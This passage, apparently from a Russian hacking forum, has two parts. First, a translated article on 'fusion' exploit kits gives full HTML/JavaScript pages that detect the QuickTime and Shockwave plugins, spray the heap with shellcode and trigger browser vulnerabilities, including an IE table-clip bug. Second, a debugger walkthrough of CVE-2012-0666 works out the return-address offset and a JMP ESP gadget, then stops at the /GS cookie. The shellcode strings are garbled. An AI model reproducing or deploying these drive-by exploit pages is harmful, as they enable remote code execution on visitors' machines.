<param name=src value="exploit.DIR">
<param name=swRemote value="swSaveEnabled='true' swVolume='true' swRestart='true' swPausePlay='true' swFastForward='true' swContextMenu='true' ">
<param name=swStretchStyle value=fill>
<param name=PlayerVersion value=11>
<PARAM NAME=bgColor VALUE=#FFFFFF>
<embed src="exploit.DIR" bgColor=#FFFFFF width=600 height=430 swRemote="swSaveEnabled='true' swVolume='true' swRestart='true' swPausePlay='true' swFastForward='true' swContextMenu='true' " swStretchStyle=fill
type="application/x-director" PlayerVersion=11 pluginspage="http://www.macromedia.com/shockwave/download/"></embed>
</object>
Прим. : Уязвимости Shockwave нужен файл exploit.DIR, поставляемый с
оригинальным эксплойтом. Качайте с
http://www.exploit-db.com/exploits/15296/
И следующий хип спрей код будет использован для этих уязвимостей:
Code:Copy to clipboard
<script language=javascript>
/*---------- Heap-Spray Circuit ------------*/
var shellcode=unescape('Javascript Unicode Shellcode');
block=unescape("%u0c0c?");
headersize=20;
space=headersize+shellcode.length;
while(block.length<space) {
block+=block;
}
suffixBlock=block.substring(0,space);
blk=block.substring(0,block.length-space);
while(blk.length+space<40000) {
blk=blk+blk+suffixBlock;
}
arrBuffer=new Array();
for(var i=0;i<800;i++) {
arrBuffer[i]=blk+shellcode;
}
/*---------- Heap-Spray Circuit end------------*/
</script>
В случае сплавки запуска нескольких уязвимостей снжается фактор гонки между
ними, и если первый запуск проходит и эксплойт запускается, то браузер обычно
не запускает остальные, потому что в большинстве случаев процесс браузера
приостанавливается. Фактор гонки снижается.
Обычно, псевдоструктура сплавленного эксплойта выглядит так:
Code:Copy to clipboard
[Хип спрей]
[запуск 1-ой уязвимости]
[запуск 2-ой уязвимости]
Это сработает, если 1-ая уязвимость правильно запустится, но провалится, если
объект, относящийся к ней, отсутствует, в этом случае будет запущен сборщик
мусора и весь спрей испарится до запуска 2-ой уязвимости. Эта ситуация
нежеланна и помешает 2-му эксплойту, даже если он сам по себе способен
"пробить" уязвимость.
Для решения этой проблемы пред запуском нужно уюедиться, что соответствующий
компонент присутствет в целевом браузере.
Так что теперь предложенная выше псевдоструктура должна выглядеть так:
Code:Copy to clipboard
переменная go1 = false
переменная go2 = false
if : [1-ый компонент присутствует] -->go1 = true
else if [2-ой компонент присутствует] -->go2 = true
[Хип спрей]
if [go1 == true] --> [запуск 1-ой уязвимости]
else if[go2 == true] --> [запуск 2-ой уязвимости]
Но как узнать, присутствует ли нужный компонент? HTML - язык, не
поддерживающий состояния объектов и не поможет в получении информации о
присутствии конкретного компонента в большинстве случаев. Чтобы обойти это
препятствие, нужно сделать проверку вызовом компонента перед спреем и
проверить дефолтные значения его параметров. В других случаях проверку можно
сделать правильным вызовом компонента, передачей чего-либо на обработку и
проверкой вывода
Иногда скрипты могут сказать, присутсвует ли конкретный компонент. В случае
Adobe Shockwave можно проверить, например, значение src shockwave компонента;
если он установлен, то значение будет "", если не задано, если не установлен -
"undefined"; это можно проверить, используя следующий код:
Code:Copy to clipboard
<object classid="clsid:233C1507-6A77-46A4-9443-F871F945D258" id="shockex" width=0 height=0> </object>
<script language=javascript>
var a=document.getElementById("shockex");
document.write("shockex.src : "+shockex.src);
</script>
Тогда как приведённый выше способ не сработает со свойствами Apple QuickTime. Но следующий скрипт может обнаружить Apple QuickTime, он приведён на их форуме:
Code:Copy to clipboard
<script>
var qcheck = false;
</script>
<script LANGUAGE="VBScript">
Set qtObject = CreateObject("QuickTimeCheckObject.QuickTimeCheck. 1")
If IsObject(qtObject) Then
If qtObject.IsQuickTimeAvailable(0) Then
qcheck = true
End If
End If
</script>
<script>
document.write("
quicktime : "+qcheck);
</script>
Можно использовать эти скриптлеты, чтобы решить, какие уязвимости должны быть
использованы.
Соединив эти способы, можно создать сплавленный эксплойт:
Code:Copy to clipboard
<!---Fusion Exploit --->
<!---*** Limit on vulnerability triggers : No Limit
Developer : "vinnu"
***--->
<html>
<head><title>Fusion Exploit POC </title></head>
<body>
<script>
var qcheck = false;
var scheck = false;
</script>
<!--------- Component detection circuit --------->
<object classid="clsid:233C1507-6A77-46A4-9443-F871F945D258" id="shockex" width=0 height=0> </object>
<script language=javascript>
var a=document.getElementById("shockex");
if (a.src=="")scheck=true;
</script>
<script LANGUAGE="VBScript">
Set qtObject = CreateObject("QuickTimeCheckObject.QuickTimeCheck. 1")
If IsObject(qtObject) Then
If qtObject.IsQuickTimeAvailable(0) Then
qcheck = true
End If
End If
</script>
<script language=javascript>
document.write("
quicktime : "+qcheck);
document.write("
shockex.src : "+shockex.src);
document.write("
Shockwave : "+scheck);
</script>
<!--------- Component detection circuit end --------->
<script language=javascript>
/*------ 1st vulnerable component --------*/
addr = 202116108;// 0x0C0C0C0C [pUnk]
var obj= '<' + 'object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="0" height="0"'+'>'
+'<' + 'PARAM name="_Marshaled_pUnk" value="'+addr+'"' + '/>'
+'<'+'/'+'object>';
/*------ 1st vulnerable component end --------*/
/*------ 2nd vulnerable component --------*/
sobj = '<object classid="clsid:233C1507-6A77-46A4-9443-F871F945D258"'
+ '\n codebase="http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=11,5,0,593"'
+ '\n ID=shockit width=600 height=430 VIEWASTEXT>'
+ '\n<param name=src value="exploit.DIR">'
+ '\n<param name=swRemote value="swSaveEnabled=\'true\' swVolume=\'true\' swRestart=\'true\' swPausePlay=\'true\' swFastForward=\'true\' swContextMenu=\'true\' ">'
+ '\n<param name=swStretchStyle value=fill>'
+ '\n<param name=PlayerVersion value=11>'
+ '\n<PARAM NAME=bgColor VALUE=#FFFFFF> '
+ '\n<embed src="exploit.DIR" bgColor=#FFFFFF width=600 height=430 swRemote="swSaveEnabled=\'true\' swVolume=\'true\' swRestart=\'true\' swPausePlay=\'true\' swFastForward=\'true\' swContextMenu=\'true\' " swStretchStyle=fill'
+ '\n type="application/x-director" PlayerVersion=11 pluginspage="http://www.macromedia.com/shockwave/download/"></embed>'
+ '\n</object>';
/*------ 2nd vulnerable component end --------*/
</script>
<script>
/*---------- Heap-Spray Circuit ------------*/
/*--- executes calc.exe shellcode ---*/
var i = 0,alimit = 800,slimit = 0x40000, uagent = navigator.userAgent;
var arrBuffer=new Array();
if(uagent.indexOf("MSIE 6.0")>=0) {
alimit = 500;
slimit = 0x24000;
}
var shellcode=unescape('???????????"?????????????????? ??????????п?????????????????????????????????????? ????????????????????????????????????');
block=unescape("??");
headersize=20;space=headersize+shellcode.length;
while(block.length<space) {
block+=block;
}
suffixBlock=block.substring(0,space);
blk=block.substring(0,block.length-space);
while(blk.length+space<slimit) {
blk=blk+blk+suffixBlock;
}
for(i=0;i<alimit;i++) {
arrBuffer[i]=blk+shellcode;
}
/*---------- Heap-Spray Circuit end------------*/
</script>
<script>
/*---------vulnerability trigger circuit--------------*/
if (qcheck == true)document.write(obj); /*---- 1st vulnerability trigger ----*/
else if (scheck == true)document.write(sobj); /*---- 2nd vulnerability trigger ----*/
/*-------vulnerability trigger circuit end------------*/
</script>
</body>
</html>
</--- Fusion Exploit End --->
--------------------
Распыляя лишний спрей: в некоторых случаях разные эксплойты могут потребовать
разное количество хип спреев. Наилучший результат может быть достигнут только
если уязвимости с низким спреем срабатывают первыми, в возрастающем порядке
количества требуемого спрея. Например, новый зеродей IE, требующий высокого
спрея кучи, тоже может быть сплавлен с приведённым набором эксплойтов.
Далее использование новой уязвимости для IE 6, 7, 8:
Code:Copy to clipboard
document.write("<table style=position:absolute;clip:rect(0)>");
Но он требует большего спрея, так что можно распылить ещё немного перед запуском. Следующий код даст достаточно спрея для упешного запуска:
Code:Copy to clipboard
<script language=javascript>
for(;i<1500;i++) {
arrBuffer[i]=blk+shellcode;
}
</script>
И код, который нужно внедрить в приведённый выше набор:
Code:Copy to clipboard
<script language=javascript>
for(;i<1500;i++) {
arrBuffer[i]=blk+shellcode;
}
document.write("<table style=position:absolute;clip:rect(0)>");
</script>
Теперь набор сплавленных эксплойтов, после добавления эксплойта для IE:
Code:Copy to clipboard
<!---Fusion Exploit --->
<!---*** Limit on vulnerability triggers : No Limit
Developer : "vinnu"
***--->
<html>
<head><title>Fusion Exploit POC </title></head>
<body>
<script>
var qcheck = false;
var scheck = false;
</script>
<!--------- Component detection circuit --------->
<object classid="clsid:233C1507-6A77-46A4-9443-F871F945D258" id="shockex" width=0 height=0> </object>
<script language=javascript>
var a=document.getElementById("shockex");
if (a.src=="")scheck=true;
</script>
<script LANGUAGE="VBScript">
Set qtObject = CreateObject("QuickTimeCheckObject.QuickTimeCheck. 1")
If IsObject(qtObject) Then
If qtObject.IsQuickTimeAvailable(0) Then
qcheck = true
End If
End If
</script>
<script language=javascript>
document.write("
quicktime : "+qcheck);
document.write("
shockex.src : "+shockex.src);
document.write("
Shockwave : "+scheck);
</script>
<!--------- Component detection circuit end --------->
<script language=javascript>
/*------ 1st vulnerable component --------*/
addr = 202116108;// 0x0C0C0C0C [pUnk]
var obj= '<' + 'object classid="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" width="0" height="0"'+'>'
+'<' + 'PARAM name="_Marshaled_pUnk" value="'+addr+'"' + '/>'
+'<'+'/'+'object>';
/*------ 1st vulnerable component end --------*/
/*------ 2nd vulnerable component --------*/
sobj = '<object classid="clsid:233C1507-6A77-46A4-9443-F871F945D258"'
+ '\n codebase="http://download.macromedia.com/pub/shockwave/cabs/director/sw.cab#version=11,5,0,593"'
+ '\n ID=shockit width=600 height=430 VIEWASTEXT>'
+ '\n<param name=src value="exploit.DIR">'
+ '\n<param name=swRemote value="swSaveEnabled=\'true\' swVolume=\'true\' swRestart=\'true\' swPausePlay=\'true\' swFastForward=\'true\' swContextMenu=\'true\' ">'
+ '\n<param name=swStretchStyle value=fill>'
+ '\n<param name=PlayerVersion value=11>'
+ '\n<PARAM NAME=bgColor VALUE=#FFFFFF> '
+ '\n<embed src="exploit.DIR" bgColor=#FFFFFF width=600 height=430 swRemote="swSaveEnabled=\'true\' swVolume=\'true\' swRestart=\'true\' swPausePlay=\'true\' swFastForward=\'true\' swContextMenu=\'true\' " swStretchStyle=fill'
+ '\n type="application/x-director" PlayerVersion=11 pluginspage="http://www.macromedia.com/shockwave/download/"></embed>'
+ '\n</object>';
/*------ 2nd vulnerable component end --------*/
</script>
<script>
/*---------- Heap-Spray Circuit ------------*/
/*--- executes calc.exe shellcode ---*/
var i = 0,alimit = 800,slimit = 0x40000, uagent = navigator.userAgent;
var arrBuffer=new Array();
if(uagent.indexOf("MSIE 6.0")>=0) {
alimit = 500;
slimit = 0x24000;
}
var shellcode=unescape('%u9090??????????"????????????? ???????????????п????????????????????????????????? ?????????????????????????????????????????');
block=unescape("??");
headersize=20;space=headersize+shellcode.length;
while(block.length<space) {
block+=block;
}
suffixBlock=block.substring(0,space);
blk=block.substring(0,block.length-space);
while(blk.length+space<slimit) {
blk=blk+blk+suffixBlock;
}
for(i=0;i<alimit;i++) {
arrBuffer[i]=blk+shellcode;
}
/*---------- Heap-Spray Circuit end------------*/
</script>
<script>
/*---------vulnerability trigger circuit--------------*/
if (qcheck == true)document.write(obj); /*---- 1st vulnerability trigger ----*/
else if (scheck == true)document.write(sobj); /*---- 2nd vulnerability trigger ----*/
/*-------vulnerability trigger circuit end------------*/
</script>
<script>
/*------------IE exploit--------------*/
// Tested on IE 6, If will fail in higher,
// just increase a little the spray ammount.
// Doesnt need any component detection code
// as in quicktime or shockwave.
for(;i<1500;i++) {
arrBuffer[i]=blk+shellcode;
}
document.write("<table style=position:absolute;clip:rect(0)>");
/*------------IE exploit end----------*/
</script>
</body>
</html>
</--- Fusion Exploit End --->
Источник:[http://packetstormsecurity.org/files/97163...ploitation.html](http://packetstormsecurity.org/files/97163/Fusion- Of-Xploits-Multiplexing-Exploitation.html)
Всем доброго времени суток.
В этой статье я бы хотел провести анализ уязвимости CVE-2012-0666 касающуюся плагина Apple QuickTime. Согласно информации с сайта уязвимость позволяет скрытно запустить произвольный код используя переполнение буфера. Уязвимость найдена пользователем CHkr_D591 сотрудничающего с компанией HP по программе Zero Day Initiative. Дальнейший поиск на сайте этой организации приводит к этой ссылке. Согласно описанию уязвимость находится в библиотеке Quicktime.qts. Ошибка заключается в неконтроллируемом копировании строки в стек внутри Quicktime.qts. Процесс неконтроллируемой записи достигается посредством вызова COM метода IQTPluginControl::SetLanguage из ActiveX библиотеки QTPlugin.ocx. Уязвимость доступна в плагинах версии 7.7.1 и ниже.
Для того чтобы найти место в котором происходит перезапись необходимо проследить всю цепочку вызовов до места в котором происходит непосредственная порча данных, перезаписать адрес возврата. В данном исследовании для упрощения я буду подразумевать что у пользователя отключен DEP и код можно выполнить непосредственно в стеке, иначе придется разрабатывать еще дополнительно ROP -цепочку которая не имеет отношения к исследованию уязвимости. Также отмечу что многие адреса валидны только в текущей сессии отладки, поскольку почти все модули QuickTime имеют подержку ASLR.
Итак для начала нужно выяснить как выполнить загрузку нужного OCX в память. Согласно описанию на сайте apple уязвимость доступна при посещении вредоносного веб-сайта, поэтому напишем тестовую htlm страницу которая будет содержать QuickTime объект и вызывать метод IQTPluginControl::SetLanguage :
HTML:Copy to clipboard
<html>
<head>
<title>Test CVE-2012-0666</title>
<script language="VBScript">
Sub RunExploit()
QT.SetLanguage("Russian")
End Sub
</script>
</head>
<body>
<object CLASSID="clsid:02BF25D5-8C17-4B23-BC80-D3488ABDDC6B" ID="QT"></object>
<body onload="vbscript:RunExploit()">
</body>
<html>
Данная HTLM страница содержит встроенный QuickTime объект (как встраивать объект описано здесь), а также скрипт который вызывает метод SetLanguage этого объекта. Для упрощения встраивание объекта в данную HTML страницу выполнено через тег < OBJECT> т.к. мы будем тестировать эксплоит в InternetExplorer ’е. Сохраняем страницу с расширением HTML и открываем в браузере:
Плагин загрузился, теперь нужно перехватить вызов SetLanguage чтобы отследить копирование строки. Для этого присоединимся к процессу InternetExplorer ’а (iexplore.exe) через отладчик OllyDbg. Далее нужно найти таблицу виртуальных методов интерфейса IQTPluginControl , для этого перехватим момент создания COM объектов из этого OCX файла. Т.к. страница уже подгружена, то OCX уже находится в памяти и нам нужно поставить брейкпоинт на функцию DllGetClassObject которая вызывается системой при создании фабрики классов этого OCX файла:
Вот ее прототип из MSDN :
C:Copy to clipboard
HRESULT __stdcall DllGetClassObject(
_In_ REFCLSID rclsid,
_In_ REFIID riid,
_Out_ LPVOID *ppv
);
Первым параметром передается идентификатор кокласса (CLSID), вторым интерфейс (IID), в последнем параметре функция возвращает указатель на объект нужного интерфейса. Чтобы найти нужный CLSID нужно анализировать библиотеку типов из QTPlugin.ocx. Для этого можно воспользоваться любым просмотрщиком OLE , к примеру OLE View. Открываем нужный OCX для просмотра библиотеки типов и смотрим список коклассов:
Нас интересует кокласс QTPluginControl поскольку он реализует интерфейс IQTPluginControl который собственно нас и интересует. Смотрим его описание:
C++:Copy to clipboard
[
uuid(4063BE15-3B08-470D-A0D5-B37161CFFD69),
helpstring("Apple QuickTime Plugin Control"),
control
]
coclass QTPluginControl {
[default] interface IQTPluginControl;
[default, source] dispinterface _IQTPluginControlEvents;
};
Видим что нужный нам CLSID = {4063BE15-3B08-470D-A0D5-B37161CFFD69}. Также извлекаем IID интерфейса IQTPluginControl = {02BF25D3-8C17-4B23-BC80-D3488ABDDC6B}. Теперь для того чтобы перехватить создание класса нужно проанализировать первый параметр функции DllGetClassObject и если он указывает на этот идентифкатор, то возвратится нужный нам объект. Далее просто обновляем страницу, и выполнение прерывается на этой функции:
Анализируя параметры видим что первым параметром передается CLSID = {4063BE15-3B08-470D-A0D5-B37161CFFD69} , а в качестве интерфейса IID = {00000001-0000-0000-C000-000000000046} IClassFactory. Идентификатор класса тот же что и в библиотеке классов, значит это нужный нам объект. «Проматываем» функцию до конца и смотрим на значение по адресу в 3-м параметре:
Итак это указатель на указатель на виртуальную таблицу методов интерфейса IClassFactory. Посмотрим описание этого интерфейса:
C++:Copy to clipboard
[
odl,
uuid(00000001-0000-0000-C000-000000000046),
]
interface IClassFactory : stdole.IUnknown {
HRESULT CreateInstance (
[in] stdole.IUnknown*pUnkOuter,
[in] UUID *riid,
[out] void *ppvObject);
HRESULT LockServer(
[in] BOOL fLock);
}
Метод CreateInstance вызывается для создания объекта, в качестве riid
передается указатель на нужный интерфейс возвращаемый в параметре
ppvObject.
Как видно из описания этот интерфейс наследуется от IUnknown (каждый
COM интерфейс должен наследоваться от этого интерфейса), поэтому приведу
описание этого интерфейса:
C++:Copy to clipboard
[
odl,
uuid(00000000-0000-0000-C000-000000000046),
]
interface IUnknown{
LONG QueryInterface(
[in, out] UUID *riid,
[in, out] void *ppvObject);
LONG AddRef();
LONG Release();
}
Наследование показывает что таблица виртуальных методов просто повторяет базовую вслед за которой идут элементы уже непосредственно описываемого интерфейса. В нашем случае таблица методов будет следующей:
Назавание| Смещение
---|---
IUnknown::QueryInterface| 0x00
IUnknown::AddRef| 0x04
IUnknown::Release| 0x08
IClassFactory::CreateInstance| 0x0c
IClassFactory::LockServer| 0x10
Для удобства создадим метки для всех методов интерфейса IClassFactory. Для этого переходим по возвращенному указателю – это перенесет нас на сам объект по нулевому смещению которого содержится указатель на виртуальную таблицу методов:
Проставляем метки для каждой функции и ставим брейкпоинт на IClassFactory ::CreateInstance :
Далее жмем F9 – выполнение прерывается на нужном методе. Сразу смотрим на стек на 3-й параметр:
Как видно это указатель на IUnknown переходим к возвращаемому значению и также ставим брейкпоинт на метод QueryInterface. Это позволит перехватить запрашиваемые интерфейсы, а именно IQTPluginControl. Далее прогоняем код пока в QueryInterface не будет запрошен IDispatch :
C++:Copy to clipboard
[odl,
uuid(00020400-0000-0000-C000-000000000046)]
interface IDispatch : IUnknown {
HRESULT GetTypeInfoCount(
[out, retval] int* pctinfo);
HRESULT GetTypeInfo(
[in, defaultvalue(0)] int itinfo,
[in, defaultvalue(0)] long lcid,
[out, retval] ITypeInfo **pptinfo);
LONG GetIDsOfNames(
[in] UUID* riid,
[in] LPWSTR *rgszNames,
[in] int cNames,
[in] long lcid,
[out] long *rgdispid);
LONG Invoke(
[in] long dispidMember,
[in] UUID* riid,
[in] long lcid,
[in] short wFlags,
[in] DISPPARAMS *pdispparams,
[in] long pvarResult,
[out] EXCEPINFO *pexcepinfo,
[out] int *puArgErr) };
При каждом вызове из скрипта метода объекта вызывается пара GetIDsOfNames с именем метода который возвращает идентификатор метода DISPID , и Invoke для непосредственного вызова. Ставим брейкопоинт на GetIDsOfNames и Invoke и следим пока не будет запрошен идентификатор метода SetLanguage :
При вызове обращаем внимание на 3-й аргумент в нем содержится массив указателей на строки с именами методов:
Смотрим возвращаемое значение идентификатора метода:
0x13C – идентификатор метода. Теперь нужно отслеживать вызов метода Invoke c данным идентификатором:
Далее трассируем код пока нас не перебросит на нужный метод. Обычно (в
большинстве случаев) непосредственно метод вызывается функцией
[DispCallFunc](https://docs.microsoft.com/en-us/windows/win32/api/oleauto/nf-
oleauto-dispcallfunc). Поэтому можно поставить на нее брейкпоинт и уже в ней
трассировать до вызова метода.
Итак после DispCallFunc мы оказываемся опять в теле QuickTime.OCX. С
большей вероятностью это и есть метод SetLanguage. Для того чтобы точно
убедиться проверим параметры:
Итак в функцию передается первый параметр 058F5000 если мы пройдем по цепочке указателей то увидим что это COM объект ссылающийся на IUnknown интерфейс. Второй параметр как раз наша строка “Russian” , если взглянуть перед строкой на 4 байта то там будет размер строки в байтах, следовательно это BSTR строка. Т.к. в конце функции стоит RETN 8 то значит функция принимает всего 2 параметра. Т.е. все условия совпадают, значит это именно метод IQTPluginControl::SetLanguage ; для того чтобы точно убедиться в этом можно скомпилировать небольшую программу к примеру на VB6 и вызвать непосредственно этот метод через виртуальную таблицу, впрочем я так сначала и сделал. Кстати теперь зная адрес метода можно получить уже всю таблицу (к примеру другие уязвимые методы).
Теперь трассируем код внутри метода – смотрим где может быть у нас проблема с копированием строки. Ставим брейкпоинт на первый символ строки на доступ и прогоняем код дальше:
Выполнение останавливается внутри API функции lstrlenW – значит происходит подсчет символов и никакого копирования пока нет. Прогоняем дальше и оказываемся внутри функции WideCharToMultiByte. Эта функция конвертирует строку из UNICODE в многобайтовую кодировку:
Что нас может здесь заинтересовать – это адрес куда преобразованная строка
будет записана. Если посмотреть на значение то видно что это адрес в стеке.
Итак – это потенциально возможное место уязвимости. Выходим из функции и
ставим теперь брейкпоинт на преобразованной строке, возможно она будет
копироваться еще куда-нибудь. Но если запустить выполнение то следующий
останов будет за пределами метода IQTPluginControl::SetLanguage. Значит
больше никаких манипуляций со переданными строками не было. Нужно проверить
вызов WideCharToMultiByte – каким образом выделяется память для строки?
Если в стеке то либо это фиксированная область, либо к примеру функция
alloca.
Удаляем брейкпоинты на данные и обновляем страницу пока не «упадем» в
IQTPluginControl::SetLanguage. Трассируем код и следим за стеком, видно
что длина строки + 1 после вызова lstrlenW помещается в переменную
LOCAL.5 и потом вызывается процедура по адресу 73561220 :
В эту процедуру передаются 3 аргумента: адрес переменной с длиной строки + 1 (pLen), длина строки + 1(iLen) и 2 (iNum). Внутри эта процедура перемножает iLen * iNum + 0x80000000 и тестирует значение, не превышает ли оно 0xFFFFFFFF (тестируется старший знаковый бит). При успехе в pLen записывается произведение, в случае неудачи возвращается код ошибки 0x80070057 что соответствует HRESULT = E_INVALIDARG. После вызова функции тестируется возвращаемое значение, затем проверяется полученое значение и сравнивается с 0x400 :
Если оно меньше то вызывается процедура по адресу 735623С0 :
В нашем случае длина строки Russian = 7**,** соответственно передаваемое знечение будет равно dLen = (iLen + 1) * 2 = 0x10. Внутри этой функции вызывается функция по адресу 73562390 с параметрами pOut , dLen , 0x2000 :
Эта функция вычисляет 0xFFFFFFFF – dLen и проверяет значение не выходит ли оно за диапазон 0…0x2000 в нашем случае. Если значение меньше то возвращается ошибка, иначе в параметр заданный первым указателем пишется значение *pOut = 0x2000 + dLen. Далее при успешном вызове выполняется процедура 7357AC30 в которую первым параметром передается pOut :
Как видно из кода сначала в ECX помещается адрес в стеке перед адресом возврата, затем вычитается значение *pOut и оставляется нижний ниббл который прибавляется к **lAlgn = pOut + (STACK - pOut) & 0xF. Далее сумма сравнивается на переполнение, если оно имело место быть то результат будет равен -1 иначе lAlgn. Далее вычисляется выражение ~(( &retaddr - lAlgn) >> 32) & (&retaddr - lAlgn) т.е. если разность выходит за диапазон 32-х бит выражение вернет 0 иначе разность. Далее происходит последовательное увеличение стека пока его размер не будет больше или равен lAlgn. Далее в ESP записывается необходимое значение и в восстанавливается адрес возврата. Далее вызывается процедура 7357A10F которая устанавливает обработчик исключений. Затем происходит выход из функции с восстановлением стека. Далее опять вызывается процедура 7357AC30 (alloca) в которую передается dLen :
Эта процедура опять выделяет память в стеке затем вызывается процедура по адресу 73561250 в которую передаются указатель на память в стеке (pStack), указатель на строку (bstrLang), dLen , и значение LOCAL.10 которое устанавливается в процедуре 735799E1 равное 3:
Как видно из кода происходите проверка параметров и вызывается функция WideCharToMultiByte. Как видно функция пишет данные в pStack , но выхода за границы тут не может быть т.к. все параметры проверяются. Далее трассируя код видно что вызывается процедура уже из библиотеки QuickTimeWebHelper_qtx :
Анализируя возвращаемое значение приходим к выводу что функция успешно выполняется при возвращаемом значении равном 0 иначе метод IQTPluginControl::SetLanguage возвращает E_FAIL. В нашем случае так и происходит. Значит где-то ошибка, если посмотреть на описание метода IQTPluginControl::SetLanguage видно что при установке этого свойства нужен видеофайл с дорожками на необходимом языке:
Get and set the movie’s current language. Setting the language causes any tracks associated with that language to be enabled and tracks associated with other languages to be disabled. If no tracks are associated with the specified language, the movie’s language is not changed.
Click to expand...
В нашем случае видеофайла нет вообще поэтому вызов завершается неудачей, а отсутствие доступа к многобайтовой строке объясняется отсутствием дорожек которые бы можно было сравнивать. Теперь нужно создать видеофайл. Особенностью MOV формата является возможность создания text descriptors где можно указать к текстовый поток с необходимым языком без самого видеофайла:
Code:Copy to clipboard
TEXTtext
{QTtext} {timeScale:30} {width:320} {height:240} {timeStamps:absolute} {language:15} {textEncoding:0}
{font:helvetica} {size:12} {plain} {justify:center} {dropShadow:off} {anti-alias:on}
{textColor: 65535, 65535, 65535} {backColor: 0, 0, 0}
[00:00:00.00]
{ScrollIn:on}
CVE-2012-0666
[00:00:10.00]
Также в HTML странице укажем этот видеофайл в качестве источника:
HTML:Copy to clipboard
<param name="src" value="f00002.mov">
Обновим страницу чтобы посмотреть корректность файла:
Теперь можно отслеживать обращение к многобайтовой строке после вызова WideCharToMultiByte для этого поставим брейкпоинт на первый символ. После запуска код остановится при обращении к строке в функции 6EC554B0 модуля QuickTime_qtx :
Как видно сначала определяется размер строки а затем копирование ее. Если посмотреть на адрес назначения то видно что этот адрес в стеке. Это еще одно место с потенциальной уязвимостью. Для определения куда копируется строка перейдем по стеку вызовов на одну функцию выше и посмотрим как передается первый параметр. Если обратить внимание на механизм вызова то будет видно что функция вызывается по указателю, если проанализировать как произошел вызов то будет видно что вызов был через функцию theQuickTimeDispatcher которая принимает идентификатор функции, находит ее адрес и вызывает ее. Собирая все вместе находим что вызов происходит из модуля QuickTimeWebHelper_qtx :
В качестве первого параметра передается фиксированный буфер в стеке.
Получается что можно перезаписать стек как нам угодно, т.к. в модуле
QuickTimeWebHelper_qtx буфер для строки не выделяется динамически, а
расположен статически в стеке.
Для того чтобы протестировать уязвимость нужно сформировать строку таким
образом чтобы заменить адрес возврата на необходимый нам, который передаст
управление коду в стеке который также будет находится в строке. Также
необходимо найти модуль без ASLR поскольку мы используем фиксированные
адреса. Для этой задачи напишем небольшую программу на VB6 для поиска
модулей без ASLR. Исходный код и скомпилированная программа находятся в
папке finder в архиве приложенном к данной статье.
Запускаем поиск по папкам “QuickTime ” и “Common Files \Apple\Apple
Application Support ”:
Смотрим данный модуль в списке загруженных модулей в Internet Explorer :
Как видно найден один модуль который мы можем использовать - icudt46.dll.
Для передачи управления пойдут к примеру команды JMP ESP (FF E4) или
CALL ESP (FF D4). Запустим поиск этих команд:
Мы можем использовать этот адрес для «прыжка» в стек для выполнения кода. Как
мы определили сначала мы работаем в условиях когда DEP отключен, иначе
нужно создавать ROP паттерн чтобы не выполнять код в стеке, а выделять
специальную память для него с разрешением на выполнение и копировать шеллкод
туда, и оттуда уже выполнять.
Итак, для формирования шеллкода проще всего будет опять вернуться в функцию
копирования строки 6EC554B0 модуля QuickTime_qtx и посмотреть
расстояние в байтах от буфера-приемника до адреса возврата:
0x32AC650 – 0x32AC44C = 0x204 – столько байт нужно для того чтобы перезаписать адрес возврата. Итак формируем строку размером в 0x204 символов и передаем ее в метод IQTPluginControl::SetLanguage. Незабыв поставить брейкпоинт на функцию бесконтрольного копирования убеждаемся что буфер перезаписывается вместе с адресом возврата, но если выполнить теперь трассировку то будет видно что приложение завершилось со статусом STATUS_STACK_BUFFER_OVERRUN. Вероятно DLL скомпилирована с опцией /GS – в этом режиме потенциально опасные, с точки зрения перезаписи буфера функции обрамляются проверкой, представляющей из себя определенное значение записанное в самом начале после адреса возврата. Если функция перезаписывает данные за пределом буфера, то она перезапишет и это значение и при проверке это будет выявлено и процесс аварийно завершится не дав нашему коду выполнится. Действительно если переместиться в пролог и эпилог проблемной функции можно увидеть следующие инструкции:
По адресу 7351DC38 хранится так называемое __security_cookie – значение вычисляемое при старте модуля, уникальное для каждого запуска. Как видно из кода функция в прологе XOR ’ит это значение с указателем стека, а при выходе из функции проделывает обратную операцию и запускает проверку – не изменилось ли оно. При перезаписи буфера мы в любом случае перезапишем это значение и функция аварийно завершится. Для обхода этой проблемы мы к примеру можем вычислить это значение, но если посмотреть на декомпилируемый листинг функции инициирующей значение __security_cookie то заметим что это сделать почти нереально, поскольку значения временных функций и высокочастотных счетчиков постоянно изменяются:
C:Copy to clipboard
DWORD __security_init_cookie()
{
DWORD result; // eax@3
DWORD v1; // esi@4
DWORD v2; // esi@4
DWORD v3; // esi@4
DWORD v4; // esi@4
DWORD v5; // esi@4
LARGE_INTEGER PerformanceCount; // [sp+8h] [bp-10h]@4
struct _FILETIME SystemTimeAsFileTime; // [sp+10h] [bp-8h]@1
SystemTimeAsFileTime.dwLowDateTime = 0;
SystemTimeAsFileTime.dwHighDateTime = 0;
if ( __security_cookie != 0xBB40E64E && __security_cookie & 0xFFFF0000 )
{
result = ~__security_cookie;
dword_6755DC3C = ~__security_cookie;
}
else
{
GetSystemTimeAsFileTime(&SystemTimeAsFileTime);
v1 = SystemTimeAsFileTime.dwLowDateTime ^ SystemTimeAsFileTime.dwHighDateTime;
v2 = GetCurrentProcessId() ^ v1;
v3 = GetCurrentThreadId() ^ v2;
v4 = GetTickCount() ^ v3;
QueryPerformanceCounter(&PerformanceCount);
result = PerformanceCount.LowPart ^ PerformanceCount.HighPart;
v5 = PerformanceCount.LowPart ^ PerformanceCount.HighPart ^ v4;
if ( v5 == 0xBB40E64E )
{
v5 = 0xBB40E64F;
}
else if ( !(v5 & 0xFFFF0000) )
{
result = v5 << 16;
v5 |= v5 << 16;
}
__security_cookie = v5;
dword_6755DC3C = ~v5;
}
return result;
}
